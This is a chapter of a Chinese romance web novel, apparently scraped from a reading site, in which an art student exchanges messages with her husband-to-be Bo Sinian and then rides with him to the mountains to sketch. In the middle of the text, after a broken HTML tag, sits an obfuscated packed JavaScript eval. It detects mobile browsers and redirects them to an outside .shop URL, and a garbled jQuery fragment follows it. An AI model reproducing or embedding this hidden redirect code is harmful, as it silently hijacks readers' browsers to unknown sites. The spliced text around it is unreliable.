文趣网 > 其他小说 > 因婚得福 > 8. 同游
    静止的画面,跳动的字符,倏然跃入云柚的眼帘。

    她瞳仁微怔,关掉页面,再重新点去核实,仍旧是那一行小字,仍旧是那个人。

    很快,bsn:【如果是跟我呢?】

    他是在接着她朋友圈的回复,也是在发出用餐邀请。

    云柚并不排斥与他见面,随手敲道:【都行,荤素不忌。】

    指尖按下发送键。

    又顿住。

    等下!

    这词是不是有歧义?

    如果跟他呢?

    她荤素不忌……

    云柚心跳忽地漏了一拍。

    她急忙撤回那条恢复,若无其事地重新编辑:【都行。】

    云柚庆幸自己反应迅速,还来得及暗度陈仓,没有留下任何指向性的证据。

    薄斯年应该没看见吧?

    应该吧?毕竟平日里那么忙,连在车上都有处理不完的公务。

    云柚盯着屏幕等了会,对面半晌没有音讯。

    她轻轻松了口气。

    假期画室里空荡荡的,落日斜斜洒在窗沿,把那块天际染成一层柔和的橘粉。

    云柚一手拖着手机,一手拿起画笔,往草稿上也随心添了一抹橘粉色。

    不多时,手心传来震动。

    她点开一看。

    bsn:【看来我要准备满汉全席了。】

    “……”

    所以!

    他!还!是!看!见!了!

    那一瞬,云柚手忙脚乱,想打字跟他解释,结果右手上还握着画笔,笔刷上的颜料不慎沾到了手机屏幕。

    她不得不先放下画笔,又翻包找纸巾,擦干净手机屏,再点开微信时,已过去两分钟。

    云柚凌乱在温柔的暮色里。

    她要怎么解释?

    薄斯年会不会觉得,她是故意撩他?

    天地良心。

    她真的只是觉得,跟他一起吃饭还算愉快,至于吃什么不重要。

    云柚抓着发顶揉了揉,迫使自己冷静下来。

    不至于,不至于。

    薄斯年应该没有闲心关注这些。

    云柚略微斟酌,故作平静回复:【不用破费,随便吃点就好。】

    刚按下发送键,手机嗡嗡震动起来,薄斯年的来电赫然跃在屏幕上。

    云柚指尖握紧,又松开,试着接通:“薄先生?”

    “吃饭了吗?”男人没有揪着方才的小插曲不放,很自然地转移了话题。

    没有预期的窘迫。

    云柚顺着他的话接道:“刚吃过,你呢?”

    “还在酒局上,出来透透气。”

    男人声线低沉而磁性,仔细一听,确实染着淡淡的醉意,像是午夜电台的主持人,可以哄人入眠的那种。

    云柚心绪更是得以熨帖,较为自在地问询他,“假期也在应酬吗?”

    薄斯年:“你假期不也在学习?”

    话题又绕回那条中二发言。

    云柚耳垂隐隐发烫,轻声辩驳:“……那是特殊情况。”

    薄斯年:“现在进展如何?”

    “你是问开题答辩吗?”听他轻嗯了声,云柚继续道:“准备得七七八八了吧,但总感觉还差点什么。”

    薄斯年:“哪种感觉?”

    云柚一时半刻也说不出,正是因为不知道是哪种感觉,所以才迟迟等不到那一抹灵光乍现。

    这时,对面似乎有人来寻薄斯年。

    传来零零碎碎的交谈声。

    云柚站起身,走到窗口望着余晖渐渐敛去。校园环路上,有对情侣在说笑打闹,相携的人影被暮色拉得悠长。

    恍惚一瞬,她和他现在的相处模式,似乎与楼下的情侣没有什么不同……

    “喜怒哀惧,贪嗔痴恨爱恶欲,又或者寻常的七情六欲,”男人微醺的嗓音再次响起,不疾不徐地点拨道:“偏向哪种?”

    “让我想一想。”

    云柚依靠着落地窗,心绪渐渐沉拢。

    电话那头没有催促,始终保持安静,静到听到他的呼吸像清风拂过耳畔,浓醇眠醉。

    大约半分钟后。

    云柚:“应该是爱。”避免又造成歧义,她忙补了一句:“热爱的爱。”

    听筒里划过一丝微不可闻的轻笑。

    云柚捏了捏发痒的耳廓,假装没听见,继续一板一眼地详细陈述。

    “我预想的元素,目前其实都加了上去。但整体干巴巴的,好像很多尸块拼接在一起,没有鲜活和灵动,没有融入那种饱满热忱的爱意。”

    “我不了解艺术创作,可能帮不到你。”男人语气谦逊:“不过单就‘鲜活和灵动’而言,貌似与大自然比较贴切。”

    云柚注意力落在前半句:“术业有专攻。能在某一个领域成绩斐然,已经是凤毛麟角了。”

    薄斯年继续延伸后半句,“要出去走走吗?我有朋友住在山脚下,环境清幽,应该适合采风。”

    若换作平时,云柚会下意识说不用,她已经麻烦了他太多。

    但这个时间截点,无疑很有诱惑力。

    云柚犹豫了,“方便吗?你假期都没能腾出时间休息。”

    “方便。”

    薄斯年对她说:“工作再忙,陪家人的时间总还是有的。”

    时间在这一秒慢下来。

    楼下渐次亮起灯火,氤氲出一盏盏朦胧的光,驱散渐沉的夜色。

    家人?

    薄斯年视她为家人,云柚颇感意外。

    却也好像挑不出什么句病。

    说来也奇怪,她和他之间,不过数面之缘,其实并不了解彼此,连他衣服尺码都是现问的,近乎两个陌生人。

    但要和他结伴去远行,她并没什么不自在。

    *

    去山里采风的时间就定在次日。

    云柚前一晚装好行李,凌晨六点,就轻手轻脚地下床。

    手机在桌上充电,她拿起来解锁屏幕,检查有没有漏掉薄斯年的消息。

    微信确实有个小红点。

    看开一看,是云之远:【几号开题答辩?】

    消息发于昨晚10:45。

    于往常的作息而言,她来得及看到。

    唯独昨晚,罕见睡得早了。

    云柚回复11号,之后就忙着洗漱。

    等收拾好一切准备出门时,屏幕闪烁了下,新增一条弹窗:【那也没几天了,需要帮忙吗?】

    云柚:【谢谢哥,先不麻烦了。】

    云之远:【不麻烦。】

    他说:有朋友是做艺术理论研究的,在绘画方面出了很多学术成果。问她要不要和他朋友聊聊,或许就理清了选题思路。

    这的确是一个很好的解决方案。

    学绘画的人都清楚,这个领域并非量变就能引起质变,思路在精不在多。能得资深前辈的只言片语提点,机会难得,很可能事半功倍。

    如果昨晚没有和薄斯年的那番谈话,云柚必然会犹豫。

    但后来她想通了,自己问题并非出在理论上,而是需要走出去,到大自然中亲身经历,捕捉那一抹灵动。

    云柚:【目前思路梳理差不多了。】

    【我和薄先生,】她指尖顿了顿,垂眸编辑:【我和斯年今天再去山里找找灵感。】

    聊天框上方开始显示“对方正在输入。”

    半分钟内,断断续续。

    云柚无声看着,无从应对。

    室友还没起,寝室静悄悄的。她提起小行李箱,轻声关好屋门,一路走到宿舍楼下。

    手机在口袋轻震了两下。

    【好。】

    【那你多注意身体,别睡得太晚。】

    云柚道谢,对话就此结束。

    她又在原地站了会。

    远处高低的小楼,排布地错落分明,天光余有一抹透亮的冷白。

    *

    今早的晨雾很浓,空中的湿气不断酝酿积聚,终是下起了淅淅的小雨。

    世界一片白雾茫茫。

    薄斯年坐车抵达校门口时,远远就看见云柚撑着一把透明伞站在路边。

    米色冲锋装内搭黑T,黑色宽松长裤裤脚挽起,脚踩一双灰色老爹鞋,手里拖个白色小行李箱。

    不似上次月白旗袍的温婉,这回简约而干练。

    云柚也看见了他们,是一辆军绿色越野车。看来无论什么圈层的男人,都对车情有独钟。

    这会校园门口还没什么人,她不必遮掩什么,将伞交给周叔,拉开门坐进后座。

    一月不见,两人都变化不大。

    薄斯年的头发似是长了些许,乌黑浓密,松松散散垂在额前,更添了几分矜雅慵懒。

    “薄先生早。”

    “早。”

    薄斯年俯身打开座椅下的车载保温箱,从里面拿出一瓶橙汁和一袋鲜肉月饼,“顺路买了早餐,趁热吃点。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512720|203066||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    保温箱内还有份早餐,应该是他的。

    但那份是牛奶和一袋鲜肉月饼。

    云柚道谢接过来,轻咬一口外酥里糯的月饼,鲜美的肉汁瞬间在唇齿间漾开,香气绵长。

    不像以前赶早班车去采风,只能啃干巴巴的面包。暖乎乎的月饼,吞咽入腹,胃里也暖乎乎的。

    鲜肉月饼只有象棋大小,一袋四个,没多久就消灭掉了。

    她轻摇下车窗,微湿的凉风拂进来,将这份妥帖的早餐气息,悄无声息地漾进雨雾里。

    薄斯年暂停晨间新闻,摘下耳机,偏头看她,“够吃吗?里面还有一袋。”

    云柚已经饱了,“你不吃吗?”

    薄斯年:“还不饿。”

    云柚联系起他不吃骨头的习惯,想必对三餐时间点也有着固定安排,“是不是还没到饭点?”

    薄斯年轻嗯一声。

    果然。

    饱腹后倦意翻涌,云柚掩面打个哈欠。泪眼汪汪,好像被人欺负了似的,模样惨兮兮。

    薄斯年唇角动了动,看眼高速上的路标,“到山里还且得有一段车程,再睡会。”

    云柚想想也好,省得他还要顾及和她谈话,总是分散精力。

    “行,等到了叫我。”

    薄斯年颔首,“睡吧。”

    起初,云柚靠着车窗小憩。

    后来也不知何时,头轻轻偏到另一边,倚住。男人肩膀宽厚而安稳,让人心神安宁。

    薄斯年本来正要取出笔记本,就觉得肩头一沉。

    她细嫩的脸颊轻蹭过他侧颈,调整姿势找到舒服的位置,浑然不知,肌肤相贴时的微痒触觉。

    他身形滞住,不再有大动作,慢慢翻出驾驶座背袋里的薄毯,给她带上。

    混沌间,云柚微有警觉。

    闻到熟悉的沉木冷香,知道是他,她眼皮没抬一下,又安心地沉沉睡去。

    须臾后,薄斯年也难得暂时放下公务,仰靠在座椅上,阖眼而眠。

    周叔从后视镜里瞧着这一幕,满是欣慰,连脸上褶皱里都是藏不住的笑意。

    他无声摇上窗玻璃,而后将车速调减得更均匀平稳些。

    车厢里浸入一派祥和安宁。

    直到,清脆的手机铃声响起。

    薄斯年睁开眼眸,手指利落地掐断来电。

    肩头的姑娘皱了皱眉,远离恼人的噪音,偏身到另一侧去睡。

    他揉了揉被压麻的右臂,点开新弹出来的微信消息。不出所料,大早起干得出这种招恨行为的,除了纪南屿找不出第二人。

    纪南屿:【大早起就不接电话,你有问题!】

    薄斯年:【有事说事。】

    纪南屿:【也没什么大事,就跟你汇报下肾源进度,差不多快排到了。】

    薄斯年:【谢了兄弟。】

    纪南屿:【之前那么上心,今天居然不回电问问具体情况?兄弟,你这问题很严重啊!】

    薄斯年:【云柚在睡,晚点回你。】

    纪南屿:【我就说嘛/奸笑/奸笑/奸笑】

    “……”

    薄斯年取出电脑,开始办公。

    清晰的键盘声,在车厢内低缓而起,只是没多久就停了。

    肩膀再度被征用。

    态度霸道,力道绵软。

    恬然酣睡的姑娘,眉眼舒展,鼻尖随着呼吸轻轻翕动,脸颊泛着淡粉,连嘴角都带着一丝不易察觉的软意,整个人睡得格外安稳。

    他垂眸看了看,无奈摇头,办公再度作罢。

    前面,周叔也忍不住低笑:“少夫人其实很亲近你。”

    车子驶入山里,雨势渐大。

    细雨敲窗,云柚渐渐转醒,这才惊觉自己枕了薄斯年一路。

    好在他也阖眼睡着,没有眸光分散焦点,男人优越骨相的存在感被放大到极致。

    从构图的角度来看,三庭五眼,绝对的黄金比例。

    云柚悄看一眼周叔,不动声色地坐直,转头看向窗外。

    白色雾气缭绕。

    青苔簇簇,沿着山壁的缝隙冒出。

    满目苍翠欲滴。

    越往里,山道越崎岖难走,车子不便前行。

    见周叔停下车,云柚作势去唤薄斯年,怎知转过头,就撞进男人一双深邃漂亮的墨眸里。

    如雪山上月光一般清明。

    怎么看,他都不像刚睡醒的。

    云柚:“……”